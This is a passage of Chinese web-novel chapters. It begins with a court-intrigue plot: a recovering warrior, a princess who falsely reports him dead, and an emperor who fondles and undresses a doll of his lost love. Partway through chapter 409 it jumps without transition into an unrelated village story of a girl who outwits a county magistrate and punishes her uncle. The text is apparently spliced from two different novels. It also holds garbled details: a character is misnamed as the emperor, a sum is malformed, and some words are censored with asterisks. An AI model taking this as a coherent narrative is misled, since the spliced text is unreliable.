“望之,青义说得对。”云承月也上前一步,挡在了床前,“你体内的旧伤与龙血藤的药力尚未完全融合,此刻的你就如同一件刚刚淬火的瓷器,看似坚固,实则一碰就碎。别说动武,就是稍有情绪激动,都可能导致经脉寸断,前功尽弃!” “我等不了。”裴应见的目光越过云承月,仿佛已经看到了京城的方向,那目光冷得吓人,“那个女人……我必须立刻找到她!” “报仇不急于一时。皇帝的眼线遍布天下,你此刻回去,无异于自投罗网。你想想青理,想想青川,想想那些为你而死的弟兄,他们的血,难道就为了让你回去送死吗?” “你的命,现在不是你一个人的。你要做的是养好身体,积蓄力量,以雷霆万钧之势回到京城,将那些欠了你的,连本带利,一一讨还!” 第408章 谁准你让他死的! 云承月的话,如同一盆冰水,浇在了裴应见燃烧的怒火之上。 是啊。 他不能死。 他身上背负着太多人的血债。 裴应见死死地盯着云承月,胸口剧烈地起伏着,眼中的杀意与理智在疯狂交战。 许久,他才缓缓松开了捏着床沿的手,那股骇人的煞气也一点点收敛回体内。 “好。”他从喉咙里挤出一个字。 “我养伤。” …… 同一时间,京城,安乐郡主府。 书房内,萧玦正悠闲地用一方锦帕擦拭着手中的玉扳指,听着手下的汇报。 “消息确认,裴应见醒了。据我们安插在那里的眼线回报,他恢复了神智,还记起了之前发生的所有事,甚至……还提到了……郡主。” 皇帝擦拭的动作一顿,嘴角缓缓勾起一抹玩味的笑意。 “哦?他还惦记着她?” “是,听闻他醒来第一件事,便是要回京找郡主算账,被他那个神医朋友拦下了。” “有趣,真是有趣。”萧玦将玉扳指重新套回拇指,轻轻转动着。 他滑动着轮椅走到窗边,看着院中萧瑟的景致,眼中闪烁着猫捉老鼠般的兴奋光芒。 “传令下去,所有人继续潜伏,不要打草惊蛇。” “让他好,让他好得利利索索的。一头没有爪牙的病虎,杀起来可没什么意思。” “本座要等他恢复到最鼎盛的时候,再亲手……将他所有的希望,一点一点地,彻底捏碎。” …… 京城一处阴暗潮湿的破庙角落里,姜飞飞也在咀嚼这个消息。 裴应见醒了。 而且,他还记得秦月娘,并且恨她入骨。 姜飞飞的脸上没有什么表情,只是下意识地摸了摸自己那只被碾碎过、至今依旧隐隐作痛的手。 她想起了那个身着红衣、视人命如草芥的疯子主人,想起了她对裴应见那种古怪到极致的占有欲。 一抹极淡的、淬着毒的冷笑,在她唇边一闪而逝。 她默默地转过身,悄无声息地融入了更深的黑暗里。 这个消息,她不打算告诉任何人。 …… 金碧辉煌的宫殿,寂静得能听见熏香燃烧时发出的细微“噼啪”声。 身着郡主华服的秦月娘跪在殿中,垂着眼,仿佛一尊没有情绪的刀。 龙椅之上,皇帝目光沉沉地落在她的身上,许久,才缓缓开口: “安乐郡主,朕让你看管的裴应见,如今如何了?” 月娘的头垂得更低了些,声音平直得像一根绷紧的琴弦,听不出任何波澜。 “回陛下,死了。” 两个字,轻飘飘的,却像两颗冰珠砸在死寂的宫殿里。 这是萧玦在提出放走裴应见的时候,就跟月娘约定好的说辞。 她也接受了这个说辞。 因为只有这样,皇帝才能彻底放过裴应见。 裴应见才能有真正的自由。 龙椅上,皇帝的气息却一窒。 他脸上的慵懒和玩味一寸寸凝固,像是被冻住的湖面。 殿内的气压瞬间低沉下来,压得人喘不过气。 月娘仿佛毫无所觉,继续用那种没有起伏的语调补充道:“他旧伤复发,伤势过重,没能撑住。臣女……已命人将尸身扔去了城外的乱葬岗。” “砰!” 上好的白玉茶盏被狠狠掼在金砖之上,摔得粉身碎骨。 “死了?” 皇帝猛地从龙椅上站起,那张阴鸷的脸上满是震惊与暴怒。 那怒火中,似乎却又夹杂着一丝孩子心爱的玩具被提前弄坏了的恼恨。 “谁准你让他死的!” 他的咆哮在空旷的大殿里回响,带着慑人的威压。 “朕让你看管他,是让你把他当一条狗一样养在府里!朕要看他疯,看他癫,看他为了你摇尾乞怜,活得连畜生都不如!朕不是让你把他弄死!” “就这么死了……岂不是……岂不是太便宜他了!” 面对皇帝的雷霆之怒,月娘依旧跪得笔直,甚至连眼睫都没有颤动一下,只是冷漠地回道:“是臣女无能,请陛下降罪。” 皇帝死死地盯着她,胸口剧烈起伏。 他看着她,那张能让裴应见俯首称臣的脸,此刻却只有冰冷的顺从,像是一面镜子,映不出任何情绪。 这让他心头的火气烧得更旺,却又像一拳打在了棉花上,无处发泄。 许久,他才颓然坐回龙椅,烦躁地挥了挥手。 “滚!给朕滚出去!” “是。” 月娘叩首,起身,没有丝毫迟疑地转身退出了大殿。 …… 月娘走后,皇帝在大殿里来回踱步,心烦意乱,最后将桌案上的奏折悉数扫落在地。 伺候在旁的心腹大太监李顺连大气都不敢喘。 他知道,陛下这不是因为失去了一个心腹大患而高兴,反倒是像一场准备了许久的盛大围猎,猎物却在开场前自己撞死在了树上,让猎人所有的期待和兴致都落了空。 但……好像又不只是这么简单。 皇帝似乎还有一点对裴应见的惋惜……不过,他惋惜什么呢? 李顺不敢探究。 “陛下息怒,”李顺小心翼翼地凑上前,压低了声音,“为区区一个废人,气坏了龙体,可不值当。” “废人?”皇帝冷笑一声,眼底是嗜血的疯狂,“他死了,这出戏还怎么唱下去!朕还没玩够呢!” 李顺眼珠一转,立刻会意,用一种更低的、带着引诱的语气说道:“陛下既然心烦,不如……去那处地方散散心?看看……看看‘她’,您的心绪,或许就能平复了。” 听到那个“她”字,皇帝眼中翻涌的暴戾,竟真的奇迹般地平息了些许。 他沉默了片刻,点了点头。 御书房的尽头,一整面墙的书架后,藏着一扇不为人知的暗门。 李顺亲自掌灯,引着皇帝走入一条幽深的地道。 地道的尽头,是一间密室。 皇帝接过灯,摆摆手让李顺离开,自己进入密室,关了门。 密室里没有灯火,四壁却嵌满了拳头大的夜明珠,将整个房间照得亮如白昼。 室内的陈设极尽奢华,每一件都是价值连城的珍宝,但这些,都只是陪衬。 第409章 朕此生挚爱 房间的正中央,安放着一张沉香木雕花的软榻。 榻上,斜倚着一个栩栩如生的人……偶。 是一个女子的人偶。 穿着一身十几年前流行的素雅长裙,眉眼如画,肤白胜雪,嘴角含着一抹温柔的笑意,美得不似凡人。 若裴应见在此,定会骇然发现,这人偶的容貌,竟与他母亲贺晴柔年轻时,一模一样。 方才还暴怒如狂的帝王,在踏入这间密室的瞬间,浑身的戾气都消散了。 他缓步走到软榻前。 目光痴痴地落在人偶的脸上,眼神是前所未有的温柔与眷恋,仿佛在看一件失而复得的绝世珍宝。 “晴柔……我来看你了。” 他伸出手,指尖轻柔地划过人偶冰冷的脸颊,声音里带着浓得化不开的痴迷。 接着,他的手竟然一寸寸地往下,慢慢探入了人偶衣衫下的私密地带。 再然后,他竟然含着一种说不清道不明的痴狂和欲念,一点一点的解开了人偶衣衫的带子。 一动不动,了无生气的人偶,衣衫被一点点剥落。 露出了制作精致堪比真人的肌肤。 皇帝脸上的欲念更重了。 “晴柔……” 然而,就在他即将要对这具赤裸的人偶做些什么的时候,他的手却忽然顿住。 他猛地抬起手来,脸上的痴迷和温柔却忽然被一种扭曲的怨毒所取代。 “晴柔,告诉你一个消息” 他凑到人偶耳边,声音像是淬了毒的蜜糖。 “……你和裴成生的那个儿子,死了!哈哈,他死了!被朕逼死了!连尸骨都被扔进了乱葬岗,喂了野狗!” 他畅快地大笑起来,笑声在密室中回荡,显得阴森而诡异。 “你后不后悔?啊?你告诉朕,你后不后悔当初没有选朕!” “你若是跟了朕,你的儿子就是太子,是这天下未来的主人!可你偏偏选了那个只懂舞刀弄枪的粗鄙武夫!” 笑着笑着,他的眼眶却红了,豆大的泪珠毫无征兆地滚落下来。 那笑声,也变成了压抑的、痛苦的呜咽。 他一把抱住冰冷的人偶,将脸深深埋进她的颈窝,像个迷路的孩子。 “你为什么不选我……我到底哪里比不上他……” “朕如今是天子,是这天下的主宰!富有四海,言出法随!可你却看不到了……你为什么……” “你为什么抛下朕,嫁给了别人……” “你为什么死得那么早……为什么……” 他抓起旁边案几上的酒壶,对着壶嘴大口大口地灌起了烈酒。 酒水顺着他的嘴角流下,浸湿了龙袍的前襟,狼狈不堪。 恨意与爱意,在他的脸上交替出现,让他看起来像一个彻头彻尾的疯子。 最后,他醉倒在软榻边,身子蜷缩着,一只手却还死死地抓着人偶的裙角,口中还在喃喃地、一遍又一遍地重复着: “晴柔……我的晴柔……” “朕此生……挚爱……唯你一人……” …… 顾家老两口腿一软,险些栽倒。 “你们凭什么抓我妹子!” “放开她!” 顾大山和两个兄弟血气上涌,目眦欲裂,吼着就要往前冲。他们是庄稼汉,不懂什么大道理,只晓得不能眼睁睁看着自家人被欺负。 七八个衙役“唰”地抽出腰刀,明晃晃的刀刃在灯笼下泛着寒气,将三兄弟的脚步钉在原地。 “怎么?还想袭官造反不成!”李疤子往前一步,眼角的刀疤在火光下扭动,像条蜈蚣,“都给老子抓起来,一并论处!” “不要!”阿禾清亮的声音响起,不带一丝慌乱。 她只用一个眼神,就让三个怒火中烧的哥哥硬生生停住了。 那眼神平静,却带着不容置喙的力量。 顾家三兄弟的拳头攥得死紧,指甲都嵌进了肉里,却终究不敢再动弹。 阿禾坦然地迎上李疤子凶狠的目光,平静道:“我跟你们走。” 她从容地伸出双手。 这份镇定,反倒让李疤子心里咯噔一下,有种一拳打在棉花上的憋闷。 他恶狠狠地挥手,两个衙役立刻上前,用粗糙的麻绳将阿禾的双手反剪捆住。 “阿禾!”顾母哭喊着扑上来,被衙役粗暴地推开。 “娘,别怕。”阿禾被推搡着往外走,路过呆若木鸡的家人时,她忽然停步,扭头轻声说,“爹,娘,哥,你们去找黑狗子,就告诉他一句话。” 她顿了顿,一字一句,清晰无比。 “黑哥,还记得我买的米面猪肉吗?” 什么? 顾家人全都愣在当场,脑子里一片空白。 米面猪肉? 这个时候说这个做什么? 这是什么没头没脑的话? 他们想问,可衙役已经不耐烦地推着阿禾出了院门。 李疤子走在最后,回头冲着院里的人扯出一个残忍的笑,又朝王二癞子递了个得意的眼色。 王二癞子心领神会,腰杆都挺直了三分,看着阿禾被押走的背影,脸上是毫不掩饰的幸灾乐祸。 …… 阿禾被抓走的消息,像长了翅膀,一夜之间飞遍了整个渡口村。 王二癞子成了村里最忙活的人。 他叉着腰,在村口唾沫横飞地宣扬着:“我早就说了!她就是个妖女,是个骗子!蒙骗县令大人,现在被识破了,要拉到县衙里打板子,砍头哩!” 刚领了米面猪肉的村民们,人心惶惶。 有人立刻把刚到手的白米藏得更深,生怕被牵连;有人则小声嘀咕,觉得阿禾不像坏人。 “王二癞子你个没良心的!刚拿了人家顾家的肉,扭头就咒人家死!”一个平日爱管闲事的婆子忍不住骂道。 “呸!”王二癞子一口浓痰吐在地上,“那是她该死!得罪了不该得罪的人!你们等着瞧吧,她这次死定了,神仙也救不了!” 他得意洋洋,仿佛已经看到阿禾血溅公堂的场面。 县衙的大牢里,阴暗,潮湿,弥漫着霉味与秽物的恶臭。 阿禾被关进最里头的女监。 她没有哭闹,也没有哀求,只是靠着长满青苔的墙壁,静静坐了一夜。 第二天清晨,狱卒不耐烦地打开牢门,将一个黑乎乎的窝头和一碗能照见人影的稀粥扔在地上。 第410章 堂审阿禾 他本以为会看到一张涕泪横流、苦苦哀求的脸。 或者是惊恐,或者哪怕是嫌弃,但都没有。 阿禾平静地走过来,捡起地上的窝头,就着那碗清汤寡水,小口小口地吃了下去。 那份从容,让见惯了犯人丑态的狱卒都感到一阵惊奇。 日上三竿。 “提人!游街!” 李疤子带着满脸的狞笑,亲自打开了牢门。 阿禾被衙役用更粗的绳子捆了,押出县衙,胸前挂上了一块写着“妖言惑众”的木牌。 栖霞镇的街市上,人头攒动。 李疤子故意押着她走在最繁华的街道上,让手下敲着破锣,大声宣扬着她的“罪状”。 “这不就是前两天那个献药的姑娘吗?” “怎么成骗子了?” “听说她把周老虎都给弄倒了,本事大着呢……” 镇民们指指点点,议论纷纷,眼神里有好奇,有同情,也有畏惧。 阿禾走在人群的注视中,脊背挺得笔直。 她没有看那些指点她的人,目光平静地望着前方,仿佛这场羞辱与她无关。 人群的最后面,顾家老两口和三个儿子跟在后面,每走一步,心都像被刀割一下。 他们看着女儿单薄的身影,看着她胸前那块刺眼的木牌,眼泪无声地淌满了脸。 午时三刻,日头正毒。 游街的破锣声终于停歇,阿禾被推搡着,踏入了县衙公堂。 堂上,钱县令换了一身崭新的官服,面沉如水,惊堂木“啪”的一声巨响,震得人心里一哆嗦。 两侧衙役手持水火棍,威风凛凛。 堂下,乌压压围着一片从街市跟来看热闹的百姓。 钱县令目光扫过阶下那个身形单薄、脊背却挺得笔直的少女,清了清嗓子,声音洪亮,充满了官威: “大胆刁民阿禾!本县念你献药有功,虽不可取,但其心可嘉,本不予追究你散布谣言之事。孰料你竟变本加厉,在乡野之间大肆散财,以小恩小惠收买人心,此等行径,与邪教妖术何异!” 他顿了顿,脸上露出一丝痛心疾首的表情。 “本县本想给你一个改过自新的机会,但今有义民王二,状告你蛊惑乡邻,意图不轨!国法无情,本县今日便要升堂明断,以正视听,还栖霞镇一个朗朗乾坤!” 一番话说得是义正辞严,滴水不漏。 既撇清了自己与阿禾的关系,又将自己塑造成一个不畏人言、铁面无私的青天大老爷。 “带证人!” 衙役一声高喝,王二癞子立刻连滚带爬地跪上堂来,冲着钱县令重重磕了个头。 “青天大老爷!小人要状告这妖女!”他一指阿禾,脸上是小人得志的扭曲快意,“她给我们村里发米发肉,那些个蠢妇愚夫,当场就把她当活菩萨供起来了!心里哪还有县令大人您呐!” “她还说,宅子是砖瓦垒的,风一吹就倒!这……这不是在暗指咱们县衙吗?她这是要煽动村民,跟您对着干啊,大人!” 王二癞子添油加醋,唾沫横飞,把阿禾描绘成一个处心积虑、妄图颠覆一方的妖人。 堂外,黑狗子死死攥着拳头,指节捏得发白。 他身后的兄弟们也是个个怒不可遏,若不是还存着一丝理智,怕是早就冲进去了。 “狗养的王二癞子……老子非扒了他的皮!”黑狗子从牙缝里挤出声音。 他心急如焚,脑子里乱成一团麻。 阿禾的本事,他见识过。 可眼下这是公堂,是县太爷的地盘,秀才遇到兵,有理说不清,再大的本事也施展不出来。 就在这时,王二癞子那句“收买人心”像一道闪电,猛地劈进他的脑海。 收买人心…… 黑狗子浑身一震。 他忽然想起了阿禾被抓走前,对他爹娘和哥哥们说的那句没头没脑的话。 ——“黑哥,还记得我买的米面猪肉吗?” 米面猪肉……收买人心…… 这两个词在他脑中疯狂碰撞,刹那间,一道灵光乍现! 黑狗子脸上的暴怒和焦躁瞬间褪去,取而代之的是一种混杂着惊骇与狂喜的顿悟。 他懂了。 他全懂了! “他娘的……原来是这样!”黑狗子低吼一声,猛地转身,拨开人群,朝着渡口村的方向狂奔而去。 公堂之上,钱县令很满意王二癞子的表现,他转向阿禾,居高临下地问道: “顾阿禾,人证在此,你还有何话可说?” 所有人的目光都聚焦在阿禾身上。 有同情,有好奇,有等着看她如何辩解的,也有等着看她痛哭求饶的。 然而,阿禾的反应,出乎了所有人的预料。 她没有看王二癞子,甚至没有看高高在上的钱县令。 她只是抬起头,目光平静地望向县衙后堂的方向,声音清清朗朗,仿佛在问一件家常小事。 “县令大人的母亲,老夫人的病,可好些了?” 此话一出,满堂皆静。 钱县令脸上的正气瞬间僵住,像是被人当众打了一耳光。 他最引以为傲的“孝子”之名,正是因阿禾而得以保全。 此刻被她当众提起,无异于在提醒他,他今日之威风,从何而来。 一股心虚和恼怒涌上心头。 “放肆!”钱县令再次一拍惊堂木,声音却有些发虚,“本官在审案,休要在此胡搅蛮缠,转移话题!” 阿禾看着他色厉内荏的样子,一直平静无波的脸上,忽然绽开了一个笑容。 那笑容很淡,却像一根针,精准地刺破了钱县令用官威和正气堆砌起来的虚假外壳。 钱县令心中猛地一突,一股极其不妙的预感油然而生。 就在他要发作呵斥之时,阿禾朗声开口说了一句话,却让整个公堂,瞬间陷入死一般的寂静。 “民女,认罪。” 什么? 钱县令愣住了。 王二癞子愣住了。 堂下所有人都愣住了。 没人想到,这个看似胸有成竹的少女,会放弃所有抵抗,就这么干脆利落地认了。 钱县令甚至怀疑自己听错了。 阿禾却像是嫌这记惊雷还不够响,她抬起头,目光清亮地直视着钱县令,一字一句,掷地有声地补充道: “民女认罪。” “但是,是认帮助大人您收拢民心、巩固威望之罪!” 第411章 民意如潮水 堂下看热闹的百姓们面面相觑,脑子都转不过弯来。 跪在一旁的王二癞子,脸上那小人得志的扭曲快意,也凝固了,只剩下满脸的错愕。 如果说刚才的认罪是惊雷,那这句话,就是直接劈在钱县令天灵盖上的一道天雷! 钱县令的脑子“嗡”的一声,一片空白。 阿禾没有给他任何反应的时间,清亮的声音继续在公堂之上回响: “民女亲眼得见,大人您不徇私枉法,雷霆手段将那为祸乡里的周老虎绳之以法,栖霞镇百姓无不交口称赞,人人感念大人恩德。民女心中对大人敬佩万分,实在不知该如何表达,便自作主张,将自己辛苦赚来的一点钱财,买了些米面猪肉,替大人您‘犒赏’渡口村的乡亲们。” 她微微偏头,脸上带着一丝近乎天真的困惑,仿佛在说一件再正常不过的事情。 “民女想着,大人的恩德,就该让所有人都知道,都记在心里。如此一来,百姓们才会更加拥戴大人您。” 她话锋一转,又提到了另一件事。 “至于那‘神医’的传言,也是民女愚笨,听闻大人至纯至孝,便想着让大人的孝子之名传得更远,让十里八乡的人都知道,咱们栖霞镇,有一位爱民如子、事亲至孝的青天大老爷!只是……只是民女见识浅薄,方法用得蠢笨了些,给大人添麻烦了。” 一番话说得是恳切至极,滴水不漏。 将“妖言惑众”、“收买人心”这两桩足以杀头的罪名,轻飘飘地包装成了对县令大人的“愚忠”和“崇拜”。 钱县令的脸色,由红转白,又由白转青,最后变得铁青。 他握着惊堂木的手,指节因为用力而根根发白。 他想怒斥,想拍案,想说一派胡言。 可他怎么说? 他说阿禾收买人心是假?那岂不是说,他钱某人不配被百姓拥戴? 他说阿禾传扬他孝名是错?那岂不是自己打自己“大孝子”的脸? 这个局,成了一个死局。 他若是定了阿禾的罪,就等于亲手撕下自己“青天大老爷”的面具,告诉全城百姓:你们对本官的拥戴,是错的!本官不领这个情! 他没想到,这个看似柔弱的乡下丫头,竟会用这种“捧杀”的方式,直接掀翻了整个棋盘,让他连落子的地方都找不到! 就在公堂之上陷入一种诡异的死寂之时,衙门外,忽然传来一阵由远及近的喧哗。 那声音越来越大,像是潮水,初时只是低低的呜咽,转瞬之间,便化作了山呼海啸般的哭喊—— “青天大老爷啊!求您开恩呐!” “请大人释放阿禾善人!” 衙役们脸色一变,还没来得及呵斥,黑压压的人群已经涌到了县衙门口。 为首的,正是去而复返的黑狗子。 他身后,是阿禾的爹娘兄长,再往后,是渡口村几乎全村的老少爷们、婆姨妇孺。 他们举着几条用床单做的横幅,上面用木炭歪歪扭扭地写着:“感谢青天大老爷恩德”、“恳请大人释放阿禾善人”。 噗通—— 黑狗子当先跪下,身后黑压压的人群,齐刷刷地跪倒了一大片。 这阵仗,让堂上所有人都变了脸色。 一个白发苍苍的老婆子哭得声泪俱下,往前爬了几步,嘶喊道: “大老爷!您可不能抓好人啊!阿禾那丫头,是看您是个好官,心疼我们这些穷苦人,才把自己的钱拿出来救济我们全村老小!她说了,这都是托了大人的福,我们才能吃上肉,扯上新布做衣裳啊!” “是啊大人!”另一个庄稼汉也红着眼眶高喊,“阿禾姑娘跟我们说,县令大人是顶好顶好的官,让我们都要念着您的好!我们……我们都记着呢!” 一句句朴实无华的哭喊,一声声发自肺腑的恳求,如同一柄柄重锤,狠狠砸在钱县令的心上。 民意如潮水,汹涌而至。 每一句对阿禾的感谢,都变成了对他的道德拷问。 他若罚阿禾,就是公然与这满衙门的民意为敌! 李疤子和王二癞子,早已面如死灰。 他们怎么也想不到,一个乡下丫头的案子,竟会引来全村人为她请命! 这哪里是审案,这分明是逼宫! 钱县令看着堂外那黑压压的人群,看着那一双双或哀求、或期盼、或愤怒的眼睛,只觉得手脚冰凉。 他终于彻底明白,从他下令抓人的那一刻起,自己就掉进了这个女孩设计的另一个局里。 人群中,顾家老两口和三个哥哥,看着那个被无数村民跪地相求的女儿,眼神已经从最初的担忧、心疼,化作了极致的震惊与茫然。 黑狗子跪在最前面,他看着堂上那个脊背挺得笔直的身影,心中翻江倒海,那是一种混杂着狂喜与敬畏的崇拜。 这才是真正的本事! 杀人不见血,诛心不留痕! 良久。 钱县令像是被抽干了所有力气,他缓缓地抬起手,拿起惊堂木,重重拍下。 他几乎是从牙缝里,一个字一个字地挤出判词: “顾阿禾,行事虽……鲁莽,然其心可嘉,体恤乡邻,拥戴官府……当……无罪释放!” 他深吸一口气,仿佛要用尽全身力气来保全自己最后的体面,猛地一指抖如筛糠的王二癞子。 “至于你这刁民王二,无事生非,诬告良善,意图挑拨官民关系,其心可诛!来人啊,给本官拖下去,重打二十大板!以儆效尤!” “大人饶命!大人饶命啊!” 王二癞子杀猪般的惨嚎声中,衙役们如狼似虎地将他拖了下去。 钱县令脸上挤出一个比哭还难看的笑容,扬声道:“顾阿禾一片赤诚,本县也不能毫无表示,来人,赏银……五十两!” 五十两! 人群发出一阵惊叹,随即爆发出更热烈的欢呼。 “青天大老爷!” “县令大人英明!” 在一片山呼海啸般的赞誉声中,阿禾平静地接过师爷递来的银子,屈膝谢恩。 她缓缓起身,目光却没有看那些欢呼的村民,也没有看高高在上的钱县令,而是转向了衙门外,那个已经被打得皮开肉绽、奄奄一息的王二癞子。 第412章 让他也尝尝苦 在所有人都以为尘埃落定的时候,阿禾清亮的声音再次响起。 “大人。” 她捧着赏银,对着钱县令,深深一拜。 “民女还有一事相求。” 钱县令的眼皮狠狠跳了一下。 他死死盯着堂下那个捧着五十两银子,身形单薄却仿佛脚下生了根的少女,几乎是咬着后槽牙问道:“你……还有何事?” “不敢劳烦大人。”阿禾微微欠身,动作从容不迫,“民女只是想当着大人的面,当着栖霞镇父老乡亲的面,了结一桩私怨。” 她转过身,目光越过堂上惊疑不定的县令,越过两侧噤若寒蝉的衙役,最终,落在了那个被拖到门外,刚刚挨完二十大板,像条死狗一样趴在地上的王二癞子身上。 “王二癞子之所以诬告我,皆因一笔旧账。” 她将那五十两赏银收起来,从怀里又摸出十二两碎银子,放在面前。 “当初,我爹娘为了给我外公治病,问他借了十两银子。后来我们陆陆续续还了八两,如今连本带利,还差十二两没还。今日我当着大人的面,连本带利,一并还清。” 钱县令彻底愣住了。 堂外的百姓也全都蒙了。 这是什么请求?在公堂之上,还一笔陈年烂账? 王二癞子趴在地上,屁股火辣辣地疼,可听到这话,眼里却迸发出一丝贪婪的光。 他挣扎着抬起头,死死盯着那堆银子,连声道:“对……对!她家欠我的钱!青天大老爷,您可得给小人做主啊!” “好。”钱县令松了口气,只要是能用钱解决的事,就不是大事。他只想赶紧把这尊瘟神送走,不耐烦地挥挥手,“既然账目清楚,钱货两讫,此事就此了结……” “大人,账是了了。” 阿禾忽然打断了他,声音陡然转冷。 “可恩,还没报。” 她猛地回头,视线如刀,直刺王二癞子。 “我爹娘心善,不愿撕破脸。但民女却要替他们问几句话!” 她扬声道:“民女请爹娘上堂作证!” 顾家老两口和三个儿子本就挤在人群最前面,闻言浑身一颤,在村民们自动分开的道路中,神情恍惚地走上堂来,跪在阿禾身边。 顾大娘早已是泪流满面,顾老实也是嘴唇哆嗦,说不出话。 阿禾替他们说了。 “王二癞子,你是我娘的亲弟弟!当年你游手好闲,是谁三天两头接济你吃喝?是谁替你还了赌债,把你从赌场里捞出来?” “我外公病重,你身为亲子,不管不问,是谁掏空家底,借钱为外公请医问药?” “你非但不感念恩情,反倒拿着我爹娘给你写的借据,趁火打劫,逼着他们还高利贷!若不是我侥幸得了些钱财,我爹娘和兄长,怕是就要被你逼得卖身为奴了!” “桩桩件件,你可认?” 一番话,掷地有声,字字泣血。 堂外瞬间炸开了锅,村民们对着王二癞子指指点点,骂声四起。 这种忘恩负义、连亲姐姐都坑的畜生,最是为人不齿。 王二癞子被骂得面无人色,只是一个劲地磕头:“我错了……我错了……姐,姐夫,我猪油蒙了心,我不是人……” “现在说这些,晚了。” 阿禾脸上没有半分动容,她从袖中,缓缓取出一个布包。 布包打开,露出的,竟是一大包黑褐色的,散发着浓烈苦涩气味的药材。 正是黑狗子从全城十家药铺买来的,最苦的黄连。 “大人,”阿禾高举布包,对着钱县令,再次深深一拜,“民女不求钱财,不求赔偿。只求大人恩准,让王二癞子当众将这包黄连煮水喝下。” “让他也尝尝,我爹娘这十几年来,过的都是什么‘苦’日子!” 此言一出,满堂哗然。 所有人都觉得这惩罚古怪至极,不伤性命,却又带着一股说不出的解恨。 钱县令更是觉得此法甚妙,无伤大雅,又能彰显自己体恤民情,当即一拍惊堂木: “准了!此等不悌不义之徒,是该让他尝尝苦头,长长记性!来人,架锅,煮药!” 王二癞子闻言,心中却是一阵狂喜。 他本以为今日不死也要脱层皮,没想到只是喝碗药汁。 苦点怕什么?跟白花花的银子和自己的小命比起来,算个屁! 他甚至觉得阿禾愚蠢,放着大好机会不要,偏要搞这些虚头巴脑的名堂。 衙役们得了令,动作飞快,当真在公堂院里架起一口大锅,将那整包黄连都倒了进去。 锅下烈火熊熊,锅里很快便翻滚起黑褐色的浪花。 一股难以言喻的苦涩气味,混着水汽蒸腾开来,熏得整个县衙的人都忍不住直皱眉头,离得近的百姓甚至干呕起来。 一碗黑如墨汁,浓得化不开的药汤,很快被端了上来。 “喝!” 两个衙役架住涕泪横流的王二癞子,捏开他的嘴,另一人端着碗,咕嘟咕嘟地便往里灌。 “呕……呃……” 王二癞子双眼翻白,四肢抽搐,刚喝进去一口,就控制不住地狂呕起来。 那苦味仿佛长了钩子,从喉咙一路刮到胃里,再从胃里翻江倒海地涌上来。 胆汁、酸水、眼泪、鼻涕,混成一团,让他丑态百出,狼狈到了极点。 堂外的村民们看着他这副模样,非但没有同情,反而发出一阵哄笑。 阿禾就那么静静地看着他,眼神平静得像一汪深潭。 直到王二癞子被灌完整整一大碗,瘫在地上,只剩下出的气,没了进的气,她才缓缓开口。 那声音依旧清亮,却让王二癞子如坠冰窟。 “王二癞子,你记住了。” “从今往后,在渡口村,你只要见到我爹、我娘、我三个哥哥,见到他们任何一人一次,就要自己去药铺,买一钱黄连,当众吃下去。” “否则……我就再来县衙,‘请’县令大人,替我爹娘做主。” 嗡——! 王二癞子的脑子,瞬间一片空白。 他猛地抬起头。 他终于明白了。 这不是一次性的惩罚。 这是一辈子的刑具! 他将永远活在这黄连的苦味里,活在所有村民的监督和嘲笑中,每一次见到顾家人,都是一次公开的羞辱! 第413章 过上了好日子 “不……不……”他崩溃地尖叫起来,手脚并用地想爬走,却被衙役死死按住。 堂外的村民们,也终于明白了阿禾的真正用意。 他们看向阿禾的眼神,瞬间从同情、赞许,化作了深深的敬畏。 **子站在人群里,只觉得一股寒意从脚底板直冲天灵盖。 他想起了自己当初奉命去买黄连时的困惑,再看看眼前这诛心的一幕,手脚都有些发凉。 这**……才叫**不见血! 高坐堂上的钱县令,看着王二癞子那张彻底被绝望吞噬的脸,再看看阿禾那张平静到近乎冷酷的脸,也终于彻底明白了。 这个乡下女子,她要的,从来不只是赢。 她要的是,让她的对手,从身到心,彻彻底底地被碾碎,永世不得翻身! …… 回渡口村的牛车上,顾家老两口和三个儿子却是一路死寂。 他们时不时地,用一种混杂着各种情绪的眼神,偷偷瞥向那个坐在车辕上,身板挺得笔直的姑娘。 日光将她的影子拉得长长的,明明还是那副单薄的模样,可在他们眼里,却仿佛比县衙高墙上的青砖还要厚重,还要让人看不透。 直到牛车进了村口,顾老实才像是刚从水里捞出来,长长地吁出一口气:“……阿禾,咱……咱回家了。” “嗯。”阿禾应了一声,跳下牛车,动作轻巧。 回到那座低矮的土坯房,顾大娘再也绷不住,“哇”的一声哭出来,不是悲伤,而是后怕与庆幸。 她一把抱住阿禾,浑身抖得像秋风里的落叶,“我的儿啊,你吓死娘了!你要是有个三长两短,娘也不活了!” 顾家三兄弟也是眼圈通红,围了上来,想说什么,又不知从何说起。 阿禾任由母亲抱着,轻轻拍着她的背,眼神却清明如旧。 她从怀里将那个沉甸甸的钱袋子掏了出来。 这里面装着很多钱。 有之前布庄掌柜给的一百五十两酬金,抛去给**子的五十两,还剩一百两,那天晚上还没来得及拿出来,她人就被衙差带走了。 另外还有今日钱县令赏的五十两银子。 除了还给王二癞子的十二两,剩下的一百三十百两银子,都在这里了。 哗啦—— 银子倒在缺了角的八仙桌上,发出的脆响,比世上任何声音都要动听。 昏暗的屋子,瞬间被这堆白花花的银钱照得亮堂起来。 顾家所有人的呼吸,都停了。 “爹,娘,大哥二哥三哥。”阿禾的声音不大,却清晰地落进每个人心里,“咱们家之前为外公治病,欠村东头张屠户七两,欠镇上米铺老板五两,还有零零碎碎加起来,总共欠了三十三两四钱的债。” 她将银子分成两堆。 “这些,拿去还债。一文都不要少,咱们挺直腰杆做人。” “剩下的这些,”她将更大的一堆推到父母面前,“够咱们推了这土坯房,起三间带院子的青砖大瓦房了。” 起……起青砖大瓦房? 顾家几口人,脑子都嗡嗡作响。 那不是地主老财才住得起的吗? 再说了……这不光够起房子了吧! 起完房子再给三个兄弟娶上媳妇也都绰绰有余! 看着家人脸上如在梦中的神情,阿禾的嘴角勾起一抹笑意。 …… 阿禾在公堂上那番诛心的手段,比她献药的事传得还快。 不过两日,就听说王二癞子天没亮就卷着铺盖,灰溜溜地搬离了渡口村。 有人说,他临走前见了顾老实出门挑水,当场就腿软了,扶着墙根干呕了半天,那张脸比锅底还黑。 从此,渡口村再无王二癞子这个人。 顾家却是另一番光景。 还清了所有外债,顾老实走路都带风,见人就笑。 家里的新房也请了镇上最好的工匠,打好了地基,叮叮当当的敲打声,成了村里最动听的声响。 俗话说,穷在闹市无人问,富在深山有远亲。 顾家日子刚见好,门槛子就快被媒人给踏破了。 全镇最有名气的王媒婆,扭着水蛇腰,捏着块香喷喷的帕子,一进门就拉 